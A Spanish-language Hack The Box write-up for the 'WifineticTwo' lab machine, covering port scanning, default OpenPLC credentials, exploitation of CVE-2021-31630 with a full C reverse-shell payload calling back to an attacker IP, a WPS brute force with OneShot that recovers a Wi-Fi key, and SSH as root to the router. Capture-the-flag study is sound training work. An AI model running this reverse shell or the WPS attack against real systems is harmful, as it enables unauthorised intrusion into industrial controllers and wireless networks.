🟨HTB - WifineticTwo

https://app.hackthebox.com/machines/WifineticTwo

Información General

  • Nombre de la Máquina: WifineticTwo

  • IP de la Máquina: 10.129.236.200

  • Sistema Operativo: Linux

  • Dificultad: Medium

  • Fecha de Publicación: Season 2024


Enumeration

Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.129.236.200 -R

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.236.200 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,8080 10.129.236.200 -oN targeted
# Nmap 7.94SVN scan initiated Sat Mar 23 00:15:37 2024 as: nmap -sCV -p22,8080 -oN targeted 10.129.236.200
Nmap scan report for wifinetictwo.htb (10.129.236.200)
Host is up (0.19s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 232
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zf5XgA.3mlU4u34Ok5jaXcV-jNAxcnbKko; Expires=Sat, 23-Mar-2024 04:21:00 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sat, 23 Mar 2024 04:16:00 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 302 FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 219
|     location: http://0.0.0.0:8080/login
|     vary: Cookie
|     set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.Zf5Xfg.AMc4_RV_ltBGDHA1DNgomBf5bfI; Expires=Sat, 23-Mar-2024 04:20:58 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sat, 23 Mar 2024 04:15:58 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     content-type: text/html; charset=utf-8
|     allow: HEAD, OPTIONS, GET
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zf5Xfg.V2DU0zF-8A3UwtDGLbtaQT71hns; Expires=Sat, 23-Mar-2024 04:20:58 GMT; HttpOnly; Path=/
|     content-length: 0
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sat, 23 Mar 2024 04:15:58 GMT
|   RTSPRequest: 
|     HTTP/1.1 400 Bad request
|     content-length: 90
|     cache-control: no-cache
|     content-type: text/html
|     connection: close
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|_    </body></html>
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://wifinetictwo.htb:8080/login
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=3/23%Time=65FE5771%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,24C,"HTTP/1\.0\x20302\x20FOUND\r\ncontent-type:\x20text/htm
SF:l;\x20charset=utf-8\r\ncontent-length:\x20219\r\nlocation:\x20http://0\
SF:.0\.0\.0:8080/login\r\nvary:\x20Cookie\r\nset-cookie:\x20session=eyJfZn
SF:Jlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ\.Zf5Xfg\.AMc4_RV_ltBGDHA1DNgom
SF:Bf5bfI;\x20Expires=Sat,\x2023-Mar-2024\x2004:20:58\x20GMT;\x20HttpOnly;
SF:\x20Path=/\r\nserver:\x20Werkzeug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x
SF:20Sat,\x2023\x20Mar\x202024\x2004:15:58\x20GMT\r\n\r\n<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>Red
SF:irecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x2
SF:0be\x20redirected\x20automatically\x20to\x20target\x20URL:\x20<a\x20hre
SF:f=\"/login\">/login</a>\.\x20\x20If\x20not\x20click\x20the\x20link\.")%
SF:r(HTTPOptions,14E,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html
SF:;\x20charset=utf-8\r\nallow:\x20HEAD,\x20OPTIONS,\x20GET\r\nvary:\x20Co
SF:okie\r\nset-cookie:\x20session=eyJfcGVybWFuZW50Ijp0cnVlfQ\.Zf5Xfg\.V2DU
SF:0zF-8A3UwtDGLbtaQT71hns;\x20Expires=Sat,\x2023-Mar-2024\x2004:20:58\x20
SF:GMT;\x20HttpOnly;\x20Path=/\r\ncontent-length:\x200\r\nserver:\x20Werkz
SF:eug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x20Sat,\x2023\x20Mar\x202024\x2
SF:004:15:58\x20GMT\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x2
SF:0request\r\ncontent-length:\x2090\r\ncache-control:\x20no-cache\r\ncont
SF:ent-type:\x20text/html\r\nconnection:\x20close\r\n\r\n<html><body><h1>4
SF:00\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20
SF:request\.\n</body></html>\n")%r(FourOhFourRequest,224,"HTTP/1\.0\x20404
SF:\x20NOT\x20FOUND\r\ncontent-type:\x20text/html;\x20charset=utf-8\r\ncon
SF:tent-length:\x20232\r\nvary:\x20Cookie\r\nset-cookie:\x20session=eyJfcG
SF:VybWFuZW50Ijp0cnVlfQ\.Zf5XgA\.3mlU4u34Ok5jaXcV-jNAxcnbKko;\x20Expires=S
SF:at,\x2023-Mar-2024\x2004:21:00\x20GMT;\x20HttpOnly;\x20Path=/\r\nserver
SF::\x20Werkzeug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x20Sat,\x2023\x20Mar\
SF:x202024\x2004:16:00\x20GMT\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W
SF:3C//DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</ti
SF:tle>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x
SF:20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\
SF:x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20aga
SF:in\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 23 00:16:09 2024 -- 1 IP address (1 host up) scanned in 31.99 seconds

Ahora lo que suelo hacer es enviarle el outpout a ChatGPT para que me explique a qué me estoy enfrentando.

ChatGPT:
Este resultado de Nmap es bastante revelador sobre el entorno al que estás apuntando, 3KY. Aquí tienes un desglose de lo más destacado y algunas ideas sobre cómo podrías proceder en tu testing de penetración:

Análisis del Puerto 22/tcp
Servicio: OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
Sistema Operativo: Basado en el servicio SSH, es muy probable que la máquina esté corriendo Ubuntu Linux. La versión de OpenSSH podría indicar la versión específica de Ubuntu, lo cual podría ser útil para identificar vulnerabilidades específicas de la versión.
Posibles vectores de ataque: Considera intentar ataques de fuerza bruta (aunque no es lo más recomendado si estás en un entorno real y no quieres ser detectado), o busca exploits específicos para esa versión de OpenSSH. Aunque, siendo honestos, Ubuntu y OpenSSH suelen estar bastante actualizados en términos de parches de seguridad.

Análisis del Puerto 8080/tcp
Servicio: http-proxy Werkzeug/1.0.1 Python/2.7.18
Puntos de interés:
Werkzeug: Es un kit de herramientas WSGI para aplicaciones web en Python, utilizado frecuentemente con Flask.
Python 2.7.18: Esto indica que el servidor está corriendo una versión de Python que ha llegado a su EOL (End of Life), lo cual puede abrir la puerta a ciertas vulnerabilidades.
Respuestas HTTP:
302 FOUND en la raíz (/), redirigiendo a /login. Esto podría ser un buen punto de inicio para ataques basados en formularios de autenticación.
404 NOT FOUND y 400 Bad Request en otros endpoints, lo que indica respuestas estándar a requests inesperados o mal formados.

Modificando /etc/hosts

Para añadir la entrada "10.129.236.200 wifinetictwo.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.129.236.200 wifinetictwo.htb  " | sudo tee -a /etc/hosts

Buscamos las credenciales por defecto en Google, openplc:openplc

Logramos ingresar con las credenciales por defecto, nos encontramos con un dashboard. Y al bucar en internet el CVE prometedor seria el CVE-2021-31630.

Quiero pensar que el endpoint /hardware es vulnerable a la inyección de una reverse shell, lo cual nos permitiría obtener acceso remoto a la máquina. Por ende, procederé a generar el siguiente payload específico para este propósito.

#include "ladder.h"

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer()
{
}

void updateCustomIn()
{

}

void updateCustomOut()
{

}
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int port = 6666;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;           
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.54");

connect(sockt, (struct sockaddr *) &revsockaddr, 
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = { "bash", NULL };
execvp("bash", argv);

return 0;

El reverse shell lo colocamos dentro de updateCustomOut(){}. Y luego le damos click a "Save changes". Lo que queremos hacer es ejecutar ahora este código alojado en nuestro archivo blank_program.st (por defecto).

Y luego hago click en Start PLC.

Estabilizamos la Shell ℹ️

script /dev/null -c /bin/bash
export TERM=xterm
stty raw -echo; fg

Nos podemos encontrar con la sorpresa de que ya somos root, y también encontramos la primera flag user.txt.

Ahora después de hacer un poco de enumeración. Y haciendo referencia al nombre de la máquina hace ifconfig para ver las interfaces de red de la máquina.

Por lo que hacemos un scan a la interfaz wlan0.

iw dev wlan0 scan
  • iw: Este es el comando principal para interactuar con Wireless Extensions y configurar dispositivos inalámbricos en Linux.

  • dev wlan0: Aquí, dev se utiliza para especificar que estamos trabajando con un dispositivo inalámbrico, y wlan0 es el nombre de la interfaz inalámbrica en tu sistema. El nombre exacto de la interfaz puede variar en diferentes sistemas y configuraciones.

  • scan: Esta parte del comando le indica a iw que realice un escaneo de las redes inalámbricas disponibles en el área.

En resumen, iw dev wlan0 scan ejecuta un escaneo de redes inalámbricas utilizando la interfaz wlan0 en tu sistema, lo que te permite ver las redes disponibles y obtener información detallada sobre ellas, como su SSID, la intensidad de la señal, los canales utilizados y los tipos de seguridad implementados.

SSID: plcrouter
BSS 02:00:00:00:01:00 (on wlan0)

El siguiente paso sería utilizar un ataque de fuerza bruta, utilizaremos OneShot, un script python (https://github.com/kimocoder/OneShot). En mi caso lo descargo y lo lo alojo en un servidor python:

python3 -m http.server 8080
curl 10.10.14.54:8888/oneshot.py -o oneshot.py

Procedemos a ejecutar el script. Y ver cómo se usa:

sudo python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00 -K
WPA PSK: NoWWEDoKnowWhaTisReal123!
AP SSID: plcrouter
WPS PIN: 12345680

Entonces ya teniendo las credenciales de la WiFi lo que quiero es acceder a ella, conectarme a la WiFi, y la verdad no tengo idea de cómo hacerlo así que le pregunto a ChatGPT:

wpa_supplicant y wpa_passphrase, empecé a buscar en google acerca de ellos.

Muy interesante, procedo entonces a crear mi contraseña PSK:

wpa_passphrase plcrouter NoWWEDoKnowWhaTisReal123! | sudo tee -a /etc/wpa_supplicant/wpa_supplicant.conf

Y luego me conecto al WiFi utilizando eesta clave.

sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf

Agregamos una IP manual para nuestra wlan0:

sudo ifconfig wlan0 192.168.1.7 netmask 255.255.255.0 up

Ingresamos por SSH como root

ssh root@192.168.1.1